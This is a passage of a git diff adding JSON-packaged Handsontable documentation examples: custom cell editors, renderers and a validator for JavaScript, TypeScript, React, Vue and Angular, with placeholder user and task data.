example","docPermalink":"/cell-editor","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__javascript__example1.ts.json new file mode 100644 index 00000000..f1faa5f3 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Functions ▸ Cell editor · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { TextEditor } from 'handsontable/editors/textEditor';\n\nregisterAllModules();\n\nclass PasswordEditor extends TextEditor {\n override createElements(): void {\n super.createElements();\n this.TEXTAREA = this.hot.rootDocument.createElement('input') as HTMLInputElement;\n this.TEXTAREA.setAttribute('type', 'password');\n this.TEXTAREA.setAttribute('data-hot-input', 'true');\n this.textareaStyle = this.TEXTAREA.style;\n this.textareaStyle.width = '0';\n this.textareaStyle.height = '0';\n this.TEXTAREA_PARENT.innerText = '';\n this.TEXTAREA_PARENT.appendChild(this.TEXTAREA);\n }\n}\n\nfunction maskedRenderer(\n hotInstance: Handsontable.Core,\n td: HTMLTableCellElement,\n row: number,\n col: number,\n prop: string | number,\n value: any\n): HTMLTableCellElement {\n td.innerText = value ? '●●●●●●●●' : '—';\n td.style.letterSpacing = value ? '2px' : 'normal';\n\n return td;\n}\n\nconst container = document.querySelector('#example1') as HTMLElement;\n\nnew Handsontable(container, {\n data: [\n ['Alice Chen', 'alice@example.com', 'Admin', 'Wh1stl3!2024'],\n ['Bob Garcia', 'bob@example.com', 'Editor', 'P@ssw0rd42'],\n ['Carol Smith', 'carol@example.com', 'Viewer', 'Tr0ub4dor&3'],\n ['Dave Kim', 'dave@example.com', 'Editor', 'c0rrectH0rs3'],\n ['Eve Johnson', 'eve@example.com', 'Admin', 'Sup3rS3cr3t!'],\n ],\n colHeaders: ['Name', 'Email', 'Role', 'Password'],\n columns: [\n { type: 'text' },\n { type: 'text' },\n { type: 'text' },\n { editor: PasswordEditor as typeof TextEditor, renderer: maskedRenderer },\n ],\n colWidths: [130, 190, 70, 130],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-functions/cell-editor/javascript/example1.ts","breadcrumb":["Cell Functions","Cell editor"],"guide":"guides/cell-functions/cell-editor/cell-editor.md","guideTitle":"Cell editor","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-editor","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__javascript__example2.js.json new file mode 100644 index 00000000..651f0849 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Functions ▸ Cell editor · Class-based editors · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseEditor } from 'handsontable/editors/baseEditor';\nregisterAllModules();\nclass SelectEditor extends BaseEditor {\n init() {\n this.select = this.hot.rootDocument.createElement('SELECT');\n this.select.setAttribute('data-hot-input', 'true');\n this.select.classList.add('htSelectEditor');\n this.select.style.display = 'none';\n this.hot.rootElement.appendChild(this.select);\n }\n prepare(row, col, prop, td, originalValue, cellProperties) {\n super.prepare(row, col, prop, td, originalValue, cellProperties);\n const rawOptions = this.cellProperties.selectOptions ?? [];\n const options = Array.isArray(rawOptions)\n ? Object.fromEntries(rawOptions.map((v) => [v, v]))\n : rawOptions;\n this.select.innerText = '';\n Object.keys(options).forEach((key) => {\n const option = this.hot.rootDocument.createElement('OPTION');\n option.value = key;\n option.innerText = options[key];\n this.select.appendChild(option);\n });\n }\n getValue() {\n return this.select.value;\n }\n setValue(value) {\n this.select.value = value;\n }\n open() {\n const { top, start, width, height } = this.getEditedCellRect();\n const s = this.select.style;\n s.height = `${height}px`;\n s.minWidth = `${width}px`;\n s.top = `${top}px`;\n s[this.hot.isRtl() ? 'right' : 'left'] = `${start}px`;\n s.margin = '0px';\n s.display = '';\n this.addHook('beforeKeyDown', (event) => {\n const { selectedIndex, length } = this.select;\n if (event.keyCode === 38 && selectedIndex > 0) {\n this.select[selectedIndex - 1].selected = true;\n event.preventDefault();\n // block the grid's default arrow-key actions\n return false;\n }\n if (event.keyCode === 40 && selectedIndex < length - 1) {\n this.select[selectedIndex + 1].selected = true;\n event.preventDefault();\n // block the grid's default arrow-key actions\n return false;\n }\n });\n }\n close() {\n this.select.style.display = 'none';\n this.clearHooks();\n }\n focus() {\n this.select.focus();\n }\n}\nconst PRIORITY_COLORS = {\n Low: '#22c55e',\n Medium: '#f59e0b',\n High: '#ef4444',\n Critical: '#7c3aed',\n};\nconst STATUS_COLORS = {\n 'To Do': '#6b7280',\n 'In Progress': '#3b82f6',\n Review: '#f59e0b',\n Done: '#22c55e',\n};\nfunction badgeRenderer(colorMap) {\n return (hotInstance, td, row, col, prop, value) => {\n td.innerText = '';\n if (value) {\n const badge = hotInstance.rootDocument.createElement('span');\n badge.className = 'htSelectBadge';\n badge.style.background = colorMap[value] ?? '#6b7280';\n badge.innerText = value;\n td.appendChild(badge);\n }\n return td;\n };\n}\nconst container = document.querySelector('#example2');\nnew Handsontable(container, {\n data: [\n ['Migrate database schema', 'High', 'In Progress'],\n ['Update API documentation', 'Medium', 'To Do'],\n ['Fix authentication bug', 'Critical', 'Review'],\n ['Add dark mode support', 'Low', 'Done'],\n ['Improve test coverage', 'Medium', 'In Progress'],\n ['Deploy to staging server', 'High', 'To Do'],\n ['Refactor billing module', 'Medium', 'Done'],\n ],\n colHeaders: ['Task', 'Priority', 'Status'],\n columns: [\n { type: 'text' },\n {\n editor: SelectEditor,\n renderer: badgeRenderer(PRIORITY_COLORS),\n selectOptions: ['Low', 'Medium', 'High', 'Critical'],\n },\n {\n editor: SelectEditor,\n renderer: badgeRenderer(STATUS_COLORS),\n selectOptions: ['To Do', 'In Progress', 'Review', 'Done'],\n },\n ],\n colWidths: [220, 110, 130],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":".htSelectEditor {\n /* Enables dimension changes for in WebKit browsers */\n -webkit-appearance: menulist-button !important;\n position: absolute;\n width: auto;\n z-index: 300;\n}\n\n.htSelectBadge {\n display: inline-block;\n padding: 2px 10px;\n border-radius: 10px;\n font-size: 11px;\n font-weight: 600;\n color: #fff;\n letter-spacing: 0.3px;\n white-space: nowrap;\n}"},"docsPath":"guides/cell-functions/cell-editor/javascript/example2.ts","breadcrumb":["Cell Functions","Cell editor"],"guide":"guides/cell-functions/cell-editor/cell-editor.md","guideTitle":"Cell editor","exampleId":"example2","exampleTitle":"Class-based editors","docPermalink":"/cell-editor","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__react__example1.tsx.json new file mode 100644 index 00000000..ae6e1bfb --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Functions ▸ Cell editor · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { MouseEvent, useRef } from 'react';\nimport { HotTable, HotColumn, useHotEditor } from '@handsontable/react-wrapper';\n\nconst EditorComponent = () => {\n const mainElementRef = useRef(null);\n\n const { value, setValue, finishEditing } = useHotEditor({\n onOpen: () => {\n if (!mainElementRef.current) return;\n\n mainElementRef.current.style.display = 'block';\n },\n onClose: () => {\n if (!mainElementRef.current) return;\n\n mainElementRef.current.style.display = 'none';\n },\n onPrepare: (_row, _column, _prop, TD, _originalValue, _cellProperties) => {\n const tdPosition = TD.getBoundingClientRect();\n\n // As the `prepare` method is triggered after selecting\n // any cell, we're updating the styles for the editor element,\n // so it shows up in the correct position.\n if (!mainElementRef.current) return;\n mainElementRef.current.style.left = `${tdPosition.left + window.pageXOffset}px`;\n mainElementRef.current.style.top = `${tdPosition.top + window.pageYOffset}px`;\n },\n onFocus: () => {},\n });\n\n const setLowerCase = () => {\n setValue(value.toString().toLowerCase());\n finishEditing();\n };\n\n const setUpperCase = () => {\n setValue(value.toString().toUpperCase());\n finishEditing();\n };\n\n const stopMousedownPropagation = (e: MouseEvent) => {\n e.stopPropagation();\n };\n\n const buttonValue = value || '';\n\n return (\n \n \n \n \n );\n};\n\nconst data = [\n ['Obrien Fischer'],\n ['Alexandria Gordon'],\n ['John Stafford'],\n ['Regina Waters'],\n ['Kay Bentley'],\n ['Emerson Drake'],\n ['Dean Stapleton'],\n];\n\nconst ExampleComponent = () => {\n return (\n \n \n     \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-functions/cell-editor/react/example1.tsx","breadcrumb":["Cell Functions","Cell editor"],"guide":"guides/cell-functions/cell-editor/cell-editor.md","guideTitle":"Cell editor","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-editor","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__react__example2.tsx.json new file mode 100644 index 00000000..39900ae2 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Functions ▸ Cell editor · Class-based editors · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { TextEditor } from 'handsontable/editors/textEditor';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nclass CustomEditor extends TextEditor {\n createElements() {\n super.createElements();\n\n this.TEXTAREA = document.createElement('input');\n this.TEXTAREA.setAttribute('placeholder', 'Custom placeholder');\n this.TEXTAREA.setAttribute('data-hot-input', 'true');\n this.textareaStyle = this.TEXTAREA.style;\n this.TEXTAREA_PARENT.innerText = '';\n this.TEXTAREA_PARENT.appendChild(this.TEXTAREA);\n }\n}\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-functions/cell-editor/react/example2.tsx","breadcrumb":["Cell Functions","Cell editor"],"guide":"guides/cell-functions/cell-editor/cell-editor.md","guideTitle":"Cell editor","exampleId":"example2","exampleTitle":"Class-based editors","docPermalink":"/cell-editor","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__react__example3.tsx.json new file mode 100644 index 00000000..ead10ff0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Functions ▸ Cell editor · Extending an existing editor · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { TextEditor } from 'handsontable/editors/textEditor';\nimport { registerAllModules } from 'handsontable/registry';\nimport Handsontable from 'handsontable/base';\n\n// register Handsontable's modules\nregisterAllModules();\n\nclass PasswordEditor extends TextEditor {\n override createElements(): void {\n super.createElements();\n this.TEXTAREA = this.hot.rootDocument.createElement('input') as HTMLInputElement;\n this.TEXTAREA.setAttribute('type', 'password');\n this.TEXTAREA.setAttribute('data-hot-input', 'true');\n this.textareaStyle = this.TEXTAREA.style;\n this.textareaStyle.width = '0';\n this.textareaStyle.height = '0';\n this.TEXTAREA_PARENT.innerText = '';\n this.TEXTAREA_PARENT.appendChild(this.TEXTAREA);\n }\n}\n\nfunction maskedRenderer(\n _instance: Handsontable.Core,\n td: HTMLTableCellElement,\n _row: number,\n _col: number,\n _prop: string | number,\n value: Handsontable.CellValue\n): HTMLTableCellElement {\n td.innerText = value ? '●●●●●●●●' : '—';\n td.style.letterSpacing = value ? '2px' : 'normal';\n\n return td;\n}\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-functions/cell-editor/react/example3.tsx","breadcrumb":["Cell Functions","Cell editor"],"guide":"guides/cell-functions/cell-editor/cell-editor.md","guideTitle":"Cell editor","exampleId":"example3","exampleTitle":"Extending an existing editor","docPermalink":"/cell-editor","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__vue__example1.vue.json new file mode 100644 index 00000000..a68d6d0c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Functions ▸ Cell editor · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-functions/cell-editor/vue/example1.vue","breadcrumb":["Cell Functions","Cell editor"],"guide":"guides/cell-functions/cell-editor/cell-editor.md","guideTitle":"Cell editor","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-editor","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__vue__example2.vue.json new file mode 100644 index 00000000..221f13b8 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-editor__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Functions ▸ Cell editor · Class-based editors · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n\n\n"},"docsPath":"guides/cell-functions/cell-editor/vue/example2.vue","breadcrumb":["Cell Functions","Cell editor"],"guide":"guides/cell-functions/cell-editor/cell-editor.md","guideTitle":"Cell editor","exampleId":"example2","exampleTitle":"Class-based editors","docPermalink":"/cell-editor","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-function__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-function__angular__example1.ts.json new file mode 100644 index 00000000..e5dc318f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-function__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Functions · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, OnInit, ViewEncapsulation } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\n\n// Custom renderer: visualizes stock level as a progress bar with a numeric label.\n// Demonstrates using a renderer independently from the editor and validator.\nconst stockRenderer = (\n hotInstance: Handsontable.Core,\n td: HTMLTableCellElement,\n _row: number,\n _col: number,\n _prop: string | number,\n value: Handsontable.CellValue\n): HTMLTableCellElement => {\n const num = parseInt(value as string, 10);\n const valid = !isNaN(num) && num >= 0;\n const pct = valid ? Math.min(100, (num / 1000) * 100) : 0;\n const color = pct > 60 ? '#22c55e' : pct > 20 ? '#f59e0b' : '#ef4444';\n\n td.innerText = '';\n\n const wrapper = hotInstance.rootDocument.createElement('div');\n\n wrapper.className = 'htStockBar';\n\n const track = hotInstance.rootDocument.createElement('div');\n\n track.className = 'htStockBarTrack';\n\n const fill = hotInstance.rootDocument.createElement('div');\n\n fill.className = 'htStockBarFill';\n fill.style.width = `${pct}%`;\n fill.style.background = color;\n\n const label = hotInstance.rootDocument.createElement('span');\n\n label.className = 'htStockBarLabel';\n label.innerText = valid ? `${num}` : '—';\n track.appendChild(fill);\n wrapper.appendChild(track);\n wrapper.appendChild(label);\n td.appendChild(wrapper);\n\n return td;\n};\n\n// Custom validator: accepts integers in the range 0–1000.\n// Demonstrates using a validator independently from the renderer and editor.\nconst stockValidator = (value: Handsontable.CellValue, callback: (valid: boolean) => void): void => {\n const num = Number(value);\n\n callback(Number.isInteger(num) && num >= 0 && num <= 1000);\n};\n\n@Component({\n selector: 'app-example1',\n template: `\n \n `,\n // ViewEncapsulation.None makes these styles global so they apply to DOM\n // elements created by the Handsontable renderer outside Angular's component tree.\n styles: [`\n .htStockBar {\n display: flex;\n align-items: center;\n gap: 6px;\n padding: 0 4px;\n height: 100%;\n box-sizing: border-box;\n }\n .htStockBarTrack {\n flex: 1;\n height: 8px;\n background: var(--ht-background-secondary-color);\n border-radius: 4px;\n overflow: hidden;\n }\n .htStockBarFill {\n height: 100%;\n border-radius: 4px;\n min-width: 2px;\n }\n .htStockBarLabel {\n font-size: 11px;\n font-variant-numeric: tabular-nums;\n min-width: 28px;\n text-align: right;\n white-space: nowrap;\n }\n `],\n encapsulation: ViewEncapsulation.None,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent implements OnInit {\n readonly hotData = [\n ['Apple', 1.2, 820],\n ['Banana', 0.5, 280],\n ['Cherry', 3.0, 45],\n ['Mango', 2.5, 960],\n ['Pear', 0.8, 170],\n ['Blueberry', 4.5, 